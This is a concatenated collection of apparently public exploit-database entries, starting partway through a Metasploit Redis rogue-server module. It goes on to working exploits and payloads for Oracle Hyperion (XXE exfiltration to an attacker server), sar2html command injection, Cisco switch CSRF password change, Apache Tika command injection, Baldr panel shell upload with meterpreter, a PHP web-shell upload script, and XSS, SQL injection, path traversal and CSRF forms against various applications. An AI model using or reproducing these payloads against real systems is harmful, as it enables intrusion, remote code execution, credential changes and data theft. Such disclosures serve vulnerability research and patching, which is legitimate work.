# Now tested on redis 4.x and 5.x
#
def check
connect
# they are only vulnerable if we can run the CONFIG command, so try that
return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
report_redis(redis_version)
end
Exploit::CheckCode::Vulnerable
ensure
disconnect
end
def exploit
if check_custom
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
else
@module_init_name = 'shell'
@module_cmd = 'shell.exec'
end
if srvhost == '0.0.0.0'
fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
end
#
# Prepare for payload.
#
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
# It's only worked on linux system.
#
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
#
if check_custom
buf = create_payload
generate_code_file(buf)
compile_payload
end
connect
#
# Send the payload.
#
redis_command('SLAVEOF', srvhost, srvport.to_s)
redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")
::IO.select(nil, nil, nil, 2.0)
# start the rogue server
start_rogue_server
# waiting for victim to receive the payload.
Rex.sleep(1)
redis_command('MODULE', 'LOAD', "./#{module_file}")
redis_command('SLAVEOF', 'NO', 'ONE')
# Trigger it.
print_status('Sending command to trigger payload.')
pull_the_trigger
# Clean up
Rex.sleep(2)
register_file_for_cleanup("./#{module_file}")
#redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
#redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
ensure
disconnect
end
#
# We pretend to be a real redis server, and then slave the victim.
#
def start_rogue_server
socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
print_status("Listening on #{srvhost}:#{srvport}")
rsock = socket.accept()
vprint_status('Accepted a connection')
# Start negotiation
while true
request = rsock.read(1024)
vprint_status("in<<< #{request.inspect}")
response = ""
finish = false
case
when request.include?('PING')
response = "+PONG\r\n"
when request.include?('REPLCONF')
response = "+OK\r\n"
when request.include?('PSYNC') || request.include?('SYNC')
response = "+FULLRESYNC #{'Z'*40} 1\r\n"
response << "$#{payload_bin.length}\r\n"
response << "#{payload_bin}\r\n"
finish = true
end
if response.length < 200
vprint_status("out>>> #{response.inspect}")
else
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")
end
rsock.put(response)
if finish
print_status('Rogue server close...')
rsock.close()
socket.close()
break
end
end
end
def pull_the_trigger
if check_custom
redis_command("#{@module_cmd}")
else
execute_cmdstager
end
end
#
# Parpare command stager for the pre-compiled payload.
# And the command of module is hard-coded.
#
def execute_command(cmd, opts = {})
redis_command('shell.exec',"#{cmd.to_s}") rescue nil
end
#
# Generate source code file of payload to be compiled dynamicly.
#
def generate_code_file(buf)
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
end
def compile_payload
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
vprint_status("Clean old files")
vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|)
vprint_status(%x|make -C #{File.dirname(make_file)} clean|)
print_status('Compile redis module extension file')
res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true|
if res.include? 'true'
print_good("Payload generated successfully! ")
else
print_error(res)
fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
end
end
#
# check the environment for compile payload to so file.
#
def check_env
# check if linux
return false unless %x|uname -s 2>/dev/null|.include? "Linux"
# check if gcc installed
return false unless %x|command -v gcc && echo true|.include? "true"
# check if ld installed
return false unless %x|command -v ld && echo true|.include? "true"
true
end
def check_custom
return @custom_payload if @custom_payload
@custom_payload = false
@custom_payload = true if check_env && datastore['CUSTOM']
@custom_payload
end
def module_file
return @module_file if @module_file
@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
end
def create_payload
p = payload.encoded
Msf::Simple::Buffer.transform(p, 'c', 'buf')
end
def payload_bin
return @payload_bin if @payload_bin
if check_custom
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
else
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))
end
@payload_bin
end
end
- Exploit Title: XXE Injection Oracle Hyperion
- Exploit Author: Lucas Dinucci (idntk.lucdin@gmail.com)
- Twitter: @identik1t
- Vendor Homepage: https://www.oracle.com/applications/performance-management
- Date: 02/11/2019
- Affected Product: Oracle Hyperion Enterprise Performance Management System
- Version: 11.1.2.3
- CVE: CVE-2019-2861
- Patch: https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html
- Vulnerability Type: https://cwe.mitre.org/data/definitions/611.html
# XML External Entity (XXE) Injection
The event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo parameters are prone to XXE injection. An authenticated attacker could exploit this vulnerability to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution and denial of service attacks.
Path: http://host:19000/calcmgr/faces/cmshell?_adf.ctrl-state=i38w0cig2_4
Parameters: event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo (POST REQUEST)
# Proof-of-concept
1 - Create a file and name it as xxe_poc with the following content, replacing with your server address:
<!ENTITY % payload SYSTEM "file:///c:\\Windows\\win.ini">
<!ENTITY % param1 "<!ENTITY % external SYSTEM 'http://your_server_address/log_xxe?data=%payload;'>">
2 - Start a webserver to receive the connection, such as:
sudo python -m SimpleHTTPServer 80
3 - Place the following payload in one of the vulnerable parameters, replacing with your server address:
<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://your_server_address/xxe_poc"> %pe; %param1; %external;]><m xmlns="http://oracle.com/richClient/comm"><k v="type"><s>action</s></k></m>
4 - Data retrivial:
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.13.1 - - [11/Feb/2019 04:59:47] "GET /xxe_poc HTTP/1.1" 200 -
192.168.13.1 - - [11/Feb/2019 04:59:47] code 404, message File not found
192.168.13.1 - - [11/Feb/2019 04:59:47] "GET /log?data=; HTTP/1.1" 200 -;%20for%2016-bit%20app%20support%20[fonts]%20[extensions]%20[mci%20extensions]%20[files] HTTP/1.1" 400 -
# Exploit Title: sar2html Remote Code Execution
# Date: 01/08/2019
# Exploit Author: Furkan KAYAPINAR
# Vendor Homepage:https://github.com/cemtan/sar2html
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Centos 7
In web application you will see index.php?plot url extension.
http://<ipaddr>/index.php?plot=;<command-here> will execute
the command you entered. After command injection press "select # host" then your command's
output will appear bottom side of the scroll screen.
# Product : Catalyst 3850 Series Device Manager
# Version : 3.6.10E
# Date: 01.08.2019
# Vendor Homepage: https://www.cisco.com
# Exploit Author: Alperen Soydan
# Description : The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to verify
the requests. This can be exploited to perform certain actions with
administrative privileges if a logged-in user visits a malicious web site.
@special thx:Haki Bülent Sever
# Tested On : Win10 & KaliLinux
Change Switch Password CSRF @Catalyst 3850 Series Device Manager
note : You must edit the values written by "place"
___________________________________________________________
<html>
<body>
<form
action="http://IP/%24moreField%20%0A%24a%20%24b1%0A%24c1%0A%24c2%0Awrite%20memory%0A"
method="POST">
<input type="hidden" name="SNMP_STATUS" value="SNMP+agent+enabled%0D%0A" />
<input type="hidden" name="send" value="nsback.htm" />
<input type="hidden" name="SNMP_READCOMM_DEFVAL" value="ELVIS" />
<input type="hidden" name="SNMP_CONTACT_DEFVAL" value="Network+Support+Group" />
<input type="hidden" name="SNMP_LOCATION_DEFVAL" value="TEST2" />
<input type="hidden" name="text_ipAddress0" value="place first octet" />
<input type="hidden" name="text_ipAddress1" value="place second octet" />
<input type="hidden" name="text_ipAddress2" value="place third octet" />
<input type="hidden" name="text_ipAddress3" value="place fourth octet" />
<input type="hidden" name="list_subnetMask" value="place subnet mask ip" />
<input type="hidden" name="text_ipDefaultGateway0" value="place gw ip first octet" />
<input type="hidden" name="text_ipDefaultGateway1" value="place gw ip second octet" />
<input type="hidden" name="text_ipDefaultGateway2" value="place gw ip third octet" />
<input type="hidden" name="text_ipDefaultGateway3" value="palce gw ip fourth octet" />
<input type="hidden" name="text_enableSecret" value="KEY" />
<input type="hidden" name="text_confirmEnableSecret" value="KEY" />
<input type="hidden" name="text_sysName" value="SW_TEST" />
<input type="hidden" name="list_date" value="19" />
<input type="hidden" name="list_month" value="Jul" />
<input type="hidden" name="list_year" value="2019" />
<input type="hidden" name="list_hour" value="10" />
<input type="hidden" name="list_minute" value="20" />
<input type="hidden" name="list_period" value="AM" />
<input type="hidden" name="list_timezone" value="C" />
<input type="hidden" name="radio_telnetAccess" value="disable" />
<input type="hidden" name="radio_snmpStatus" value="enable" />
<input type="hidden" name="text_snmpReadComm" value="ELVIS" />
<input type="hidden" name="text_sysContact" value="Network+Support+Group" />
<input type="hidden" name="text_sysLocation" value="TEST2" />
<input type="hidden" name="list_ipv6_interface" value="Vlan500" />
<input type="hidden" name="list_prefix" value="64" />
<input type="hidden" name="moreField" value="more flash:/html/more.txt" />
<input type="hidden" name="a" value="cluster pref file e.cli" />
<input type="hidden" name="z" value="cluster pref file append e.cli" />
<input type="hidden" name="b1" value="!enable secret KEY!ip http authentication enable!end" />
<input type="hidden" name="c1" value="copy e.cli running-config" />
<input type="hidden" name="c2" value="delete /force e.cli" />
<input type="submit" value="submit form" />
</form>
</body>
</html>
There is a heap overflow in [NSURL initWithCoder:] that can be reached via iMessage and likely other paths. When an NSURL is deserialized, one property its plist can contain is NS.minimalBookmarkData, which is then used as a parameter for [NSURL URLByResolvingBookmarkData:options:relativeToURL:bookmarkDataIsStale:error:]. This method uses a wide variety of code to parse the provided bookmark data. On a Mac, if the data is a pre-2012 alias file, it will be processed using the FSResolveAliasWithMountFlags function in the CarbonCore framework. This function can eventually call ALI_GetUTF8Path, which has an unsafe call to strcat_chk, leading to memory corruption.
To reproduce the issue with the files in carboncrash.zip:
1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
4) in the local directory, run:
python3 sendMessage.py
This will lead to a crash in soagent requiring no user interaction. Note that this issue affects Macs only, this PoC will crash an iPhone, but it is an unexploitable and unrelated crash due to an exception.
CarbonCore contains a large number of calls to unsafe string handling functions. It also performs a number of operations on file paths that might not be desirable in a remote context. I strongly recommend that this issue be resolved by removing CarbonCore from the NSURL deserialization path.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47207.zip
******************************************************************
* 1CRM On-Premise Software 8.5.7 *
* Stored XSS *
******************************************************************
////////////////////////////////////////////////////////////////////////////////////
# Exploit Title: 1CRM On-Premise Software 8.5.7 - Cross-Site Scripting
# Date: 19/07/2019
# Exploit Author: Kusol Watchara-Apanukorn
# Vendor Homepage: https://1crm.com/
# Version: 8.5.7 <=
# Tested on: CentOS 7.6.1810 (Core)
# CVE : CVE-2019-14221
////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////
1CRM On-Premise Software 8.5.7 allows XSS via a payload that is
mishandled during a Run Report operation. ///
//////////////////////////////////////////////////////////////////////////////////////////////////////////////
Vulnerability Description:
XSS flaws occur whenever an application includes untrusted data in a
new web page without proper validation or escaping, or updates an
existing web page with user supplied data using a browser API that can
create JavaScript. XSS allows attackers to execute scripts in the
victim’s browser which can hijack user sessions, deface web sites, or
redirect the user to malicious sites.
########################################################################################################################
Attack Narratives and Scenarios:
#
#
**Attacker**
#
1. Login as any user
#
2. Click Email icon
#
3. Click Report
#
4. Click Create Report
#
5. Fill Report Name (In our case we fill Company B)
#
6. Assign to Victim (In our case we assigned to admin)
#
7. Click Column Layout
#
8. Click Add empty column
#
9. Input malicious code (In our case:
<script>alert(document.cookie);</script>)
#
10. Click Save
#
#
**Victim**
#
1. Click email icon
#
2. Click Report
#
3. Choose report that we recently created (In our case we choose
Company B) #
4. Click Run Report
#
5. Admin cookie will popup
#
########################################################################################################################
PoC
-----------------------------------------
Github: https://github.com/cccaaasser/1CRM-CVE/blob/master/CVE-2019-14221.md
Vulnerability Disclosure Timeline:
==================================
19 July, 19 : Found Vulnerability
19 July, 19 : Vendor Notification
24 July 19 : Vendor Response
24 July 19 : Vendor Fixed
31 July, 19 : Vendor released new patched version 8.5.10
# Exploit Title: Rest - Cafe and Restaurant Website CMS - SQL Injection
# Date: 1.8.2019.
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: https://codecanyon.net/item/rest-cafe-and-restaurant-website-cms/21630154
# CWE : CWE-89
Vulnerable parameter: slug (news.php)
[GET Request]
GET //host/[path]/news.php?slug=x' HTTP/1.1
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US
Cache-Control: max-age=0
Cookie: PHPSESSID=87e839a144a7c326454406dea88b92bc
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362
# Exploit Title: JoomSport 3.3 – for Sports - SQL injection
# Google Dork: intext:powered by JoomSport - sport WordPress plugin
# Date:29/07/2019.
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://beardev.com/
# Software Link: https://wordpress.org/plugins/joomsport-sports-league-results-management/
# Version: 3.3
# Tested on: Windows and Kali linux
# CVE :2019-14348
# References: https://hackpuntes.com/cve-2019-14348-joomsport-for-sports-sql-injection/
# 1. Technical Description:
#Through the SQL injection vulnerability, a malicious user could
inject SQL code in order to steal information from the database,
modify data from the database, even delete database or data from
them.
#2. Request: All requests that contains the parameter sid are
vulnerables to SQL injection
POST /wordpress/joomsport_season/new-yorkers/?action=playerlist HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/joomsport_season/new-yorkers/?action=playerlist
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
DNT: 1
Connection: close
Cookie: PHPSESSID=s010flbg7fbohnguabsvjaut40
Upgrade-Insecure-Requests: 1
sid=1&page=1&jscurtab=
# 3. Payload:
Parameter: sid (POST)
Type: boolean-based blind
Title: Or boolean-based blind - WHERE or HAVING clause
Payload: sid=-3506 OR 7339=7339&page=1jscurtab=
# 4. Reference:
# https://hackpuntes.com/cve-2019-14348-joomsport-for-sports-sql-injection/
import requests
URL = "http://127.0.0.1/ARMBot/upload.php"
r = requests.post(URL,
data = {
"file":"../public_html/lol/../.s.phtml", # need some trickery for each server ;)
"data":"PD9waHAgZWNobyAxOyA/Pg==", # <?php echo 1; ?>
"message":"Bobr Dobr"
}, proxies={"http":"127.0.0.1:8080","https":"127.0.0.1:8080"})
print(r.status_code)
print("shell should be at http://{}/.s.phtml".format(URL))
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Tika Header Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Apache
Tika 1.15 - 1.17 on Windows. A file with the image/jp2 content-type is
used to bypass magic bytes checking. When OCR is specified in the
request, parameters can be passed to change the parameters passed
at command line to allow for arbitrary JScript to execute. A
JScript stub is passed to execute arbitrary code. This module was
verified against version 1.15 - 1.17 on Windows 2012.
While the CVE and finding show more versions vulnerable, during
testing it was determined only > 1.14 was exploitable due to
jp2 support being added.
},
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'win',
'Targets' =>
[
['Windows',
{'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'CmdStagerFlavor' => ['certutil']
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 25 2018',
'Author' =>
[
'h00die', # msf module
'David Yesland', # edb submission
'Tim Allison' # discovery
],
'References' =>
[
['EDB', '46540'],
['URL', 'https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/'],
['URL', 'https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E'],
['CVE', '2018-1335']
]))
register_options(
[
Opt::RPORT(9998),
OptString.new('TARGETURI', [true, 'The base path to the web application', '/'])
])
register_advanced_options(
[
OptBool.new('ForceExploit', [true, 'Override check result', false])
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri),
})
if res.nil?
vprint_error('No server response, check configuration')
return CheckCode::Safe
elsif res.code != 200
vprint_error('No server response, check configuration')
return CheckCode::Safe
end
if res.body =~ /Apache Tika (\d.[\d]+)/
version = Gem::Version.new($1)
vprint_status("Apache Tika Version Detected: #{version}")
if version.between?(Gem::Version.new('1.15'), Gem::Version.new('1.17'))
return CheckCode::Vulnerable
end
end
CheckCode::Safe
end
def execute_command(cmd, opts = {})
cmd.gsub(/"/, '\"')
jscript="var oShell = WScript.CreateObject('WScript.Shell');\n"
jscript << "var oExec = oShell.Exec(\"cmd /c #{cmd}\");"
print_status("Sending PUT request to #{peer}#{normalize_uri(target_uri, 'meta')}")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(target_uri, 'meta'),
'headers' => {
"X-Tika-OCRTesseractPath" => '"cscript"',
"X-Tika-OCRLanguage" => "//E:Jscript",
"Expect" => "100-continue",
"Content-type" => "image/jp2",
"Connection" => "close"},
'data' => jscript
})
fail_with(Failure::Disconnected, 'No server response') unless res
unless (res.code == 200 && res.body.include?('tika'))
fail_with(Failure::UnexpectedReply, 'Invalid response received, target may not be vulnerable')
end
end
def exploit
checkcode = check
unless checkcode == CheckCode::Vulnerable || datastore['ForceExploit']
print_error("#{checkcode[1]}. Set ForceExploit to override.")
return
end
execute_cmdstager(linemax: 8000)
end
end
# Exploit Title: [title]
# Date: [2019 08 06]
# Exploit Author: [Greg.Priest]
# Vendor Homepage: [https://open-school.org/]
# Software Link: []
# Version: [Open-School 3.0/Community Edition 2.3]
# Tested on: [Windows/Linux ]
# CVE : [CVE-2019-14696]
Open-School 3.0, and Community Edition 2.3, allows XSS via the /index.php?r=students/guardians/create id parameter.
/index.php?r=students/guardians/create&id=1[inject JavaScript Code]
Example:
/index.php?r=students/guardians/create&id=1<script>alert("PWN3D!")</script><script>alert("PWN3D!")</script>
<!--
VULNERABILITY DETAILS
void PresentationAvailabilityState::UpdateAvailability(
const KURL& url,
mojom::blink::ScreenAvailability availability) {
[...]
{
// Set |iterating_listeners_| so we know not to allow modifications
// to |availability_listeners_|.
base::AutoReset<bool> iterating(&iterating_listeners_, true);
for (auto& listener_ref : availability_listeners_) {
auto* listener = listener_ref.get();
if (!listener->urls.Contains<KURL>(url))
continue;
auto screen_availability = GetScreenAvailability(listener->urls);
DCHECK(screen_availability != mojom::blink::ScreenAvailability::UNKNOWN);
for (auto* observer : listener->availability_observers)
observer->AvailabilityChanged(screen_availability); // ***1***
[...]
`PresentationAvailabilityObserver::AvailabilityChanged` might call a user-defined JS event handler,
which in turn might modify `availability_observers` and invalidate the `for` loop's iterator.
VERSION
Chromium 74.0.3729.0 (Developer Build) (64-bit)
Chromium 76.0.3789.0 (Developer Build) (64-bit)
REPRODUCTION CASE
Note that you need an extra display connected to your machine to reproduce the bug, otherwise
`UpdateAvailability` won't be called.
-->
<body>
<script>
frame = document.body.appendChild(document.createElement("iframe"));
request = new frame.contentWindow.PresentationRequest([location]);
request.getAvailability().then(availability => {
availability.onchange = () => frame.remove();
});
</script>
</body>
<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero.
-->
#Exploit Title: Joomla! component com_jssupportticket - Arbitrary File Download
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 08.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: http://joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.5
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 1411 in file admin/models/ticket.php
1382 function getDownloadAttachmentByName($file_name,$id){
1383 if(empty($file_name)) return false;
1384 if(!is_numeric($id)) return false;
1385 $db = JFactory::getDbo();
1386 $filename = str_replace(' ', '_',$file_name);
1387 $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id;
1388 $db->setQuery($query);
1389 $foldername = $db->loadResult();
1390
1391 $datadirectory = $this->getJSModel('config')->getConfigurationByName('data_directory');
1392 $base = JPATH_BASE;
1393 if(JFactory::getApplication()->isAdmin()){
1394 $base = substr($base, 0, strlen($base) - 14); //remove administrator
1395 }
1396 $path = $base.'/'.$datadirectory;
1397 $path = $path . '/attachmentdata';
1398 $path = $path . '/ticket/' . $foldername;
1399 $file = $path . '/' . $filename;
1400
1401 header('Content-Description: File Transfer');
1402 header('Content-Type: application/octet-stream');
1403 header('Content-Disposition: attachment; filename=' . basename($file));
1404 header('Content-Transfer-Encoding: binary');
1405 header('Expires: 0');
1406 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
1407 header('Pragma: public');
1408 header('Content-Length: ' . filesize($file));
1409 //ob_clean();
1410 flush();
1411 readfile($file); //!!!
1412 exit();
1413 exit;
1414 }
#####################################
#PoC:
#####################################
$> curl -X GET -i "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=downloadbyname&id=0&name=../../../configuration.php"
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/http'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Baldr Botnet Panel Shell Upload Exploit",
'Description' => %q{
This module exploits the file upload vulnerability of baldr malware panel.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ege Balcı <ege.balci@invictuseurope.com>' # author & msf module
],
'References' =>
[
['URL', 'https://prodaft.com']
],
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 5,
},
'Platform' => ['php'],
'Arch' => [ ARCH_PHP],
'Targets' =>
[
['Auto',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
],
['Baldr <= v2.0',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
],
['Baldr v2.2',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
],
['Baldr v3.0 & v3.1',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php")
)
ver = ''
if res.code == 200
if res.body.include?('~;~')
targets[3] = targets[0]
#target = targets[3]
ver = '>= v3.0'
elsif res.body.include?(';')
#target = targets[2]
targets[2] = targets[0]
ver = 'v2.2'
elsif res.body.size < 4
targets[1] = targets[0]
#target = targets[1]
ver = '<= v2.0'
else
Exploit::CheckCode::Safe
end
print_status("Baldr verison: #{ver}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
name = '.'+Rex::Text.rand_text_alpha(4)
files =
[
{data: payload.encoded, fname: "#{name}.php"}
]
zip = Msf::Util::EXE.to_zip(files)
hwid = Rex::Text.rand_text_alpha(8).upcase
if targets[0]
check
end
case target
when targets[3]
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php")}
)
key = res.body.to_s.split('~;~')[0]
print_good("Key: #{key}")
data = "hwid=#{hwid}&os=Windows 10 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
data = xor(data,key)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'data' => data.to_s
}
)
if res.code == 200
print_good("Bot successfully registered.")
else
print_error("New bot register failed !")
return false
end
data = xor(zip.to_s,key)
form = Rex::MIME::Message.new
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"file.zip\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s
)
if res && (res.code == 200 ||res.code == 100)
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
print_error("Server responded with code #{res.code}") if res
print_error("Failed to upload payload.")
return false
end
when targets[2]
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php")}
)
key = res.body.to_s.split(';')[0]
print_good("Key: #{key}")
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
data << zip.to_s
result = ""
codepoints = data.each_codepoint.to_a
codepoints.each_index do |i|
result += (codepoints[i] ^ key[i % key.size].ord).chr
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'data' => result.to_s
)
if res && (res.code == 200 ||res.code == 100)
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
print_error("Server responded with code #{res.code}") if res
print_error("Failed to upload payload.")
return false
end
else
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'data' => zip.to_s,
'encode_params' => true,
'vars_get' => {
'hwid' => hwid,
'os' => 'Windows 7 x64',
'cookie' => '0',
'pswd' => '0',
'credit' => '0',
'wallet' => '0',
'file' => '1',
'autofill' => '0',
'version' => 'v2.0'
}
)
if res && (res.code == 200 ||res.code == 100)
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
print_error("Server responded with code #{res.code}") if res
print_error("Failed to upload payload.")
return false
end
end
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/logs/#{hwid}/#{name}.php")}, 3
)
print_good("Payload successfully triggered !")
end
def xor(data, key)
result = ""
codepoints = data.each_codepoint.to_a
codepoints.each_index do |i|
result += (codepoints[i] ^ key[i % key.size].ord).chr
end
return result
end
end
# Exploit Title: Aptana Jaxer Remote Local File inclusion
# Date: 8/8/2019
# Exploit Author: Steph Jensen
# Vendor Homepage:
[http://www.jaxer.org](http://www.jaxer.org/category/uncategorized/)
# Version: 1.0.3.4547
# Tested on: Linux
# CVE : CVE-2019-14312
Aptana Jaxer 1.0.3.4547 is vulnerable to a local file inclusion vulnerability in the wikilite source code viewer. This vulnerability allows a remote attacker to read internal files on the server via tools/sourceViewer/index.html?filename=../ URI.
To exploit this vulnerability an attacker must have access to the Aptana Jaxer web application. The Samples and Tools page will have the wikilite demo. After opening the wikilite demo the source code can be viewed by clicking the html button and selecting "Wikilite source code". This leads to http://server:8081/aptana/tools/sourceViewer/index.html?filename=../../samples/wikilite/index.html. by using directory traversal in the filename parameter a remote attacker can access internal files on the server.
PoC: http://server:8081/aptana/tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
# Exploit Title: Daily Expense Manager - CSRF (Delete Income)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: August 8, 2019
# Vendor Homepage: https://sourceforge.net/projects/daily-expense-manager/
# Tested Version: 1.0
# Tested on: Parrot OS
# PoC:
<html>
<body>
<form action="http://server/homeedit.php?delincome=778" method="post">
<input type="submit" value="Click!" />
</form>
</body>
</html>
# Exploit Title: Adive Framework 2.0.7 – Cross-Site Request Forgery (CSRF)
# Date:02/08/2019.
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://adive.es
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.7
# Tested on: Windows and Kali linux
# CVE :2019-14346
# 1. Technical Description:
# Adive Framework 2.0.7 and possibly before are affected by Cross-Site
#Request Forgery vulnerability, an attacker could change any user
password.
# 2. Proof Of Concept (CODE):
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/adive/admin/config" method="POST">
<input type="hidden" name="userName" value="admin" />
<input type="hidden" name="confPermissions" value="1" />
<input type="hidden" name="pass" value="1234" />
<input type="hidden" name="cpass" value="1234" />
<input type="hidden" name="invokeType" value="web" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# 3. References:
# https://hackpuntes.com/cve-2019-14346-adive-framework-2-0-7-cross-site-request-forgery/
# https://imgur.com/apuZa9q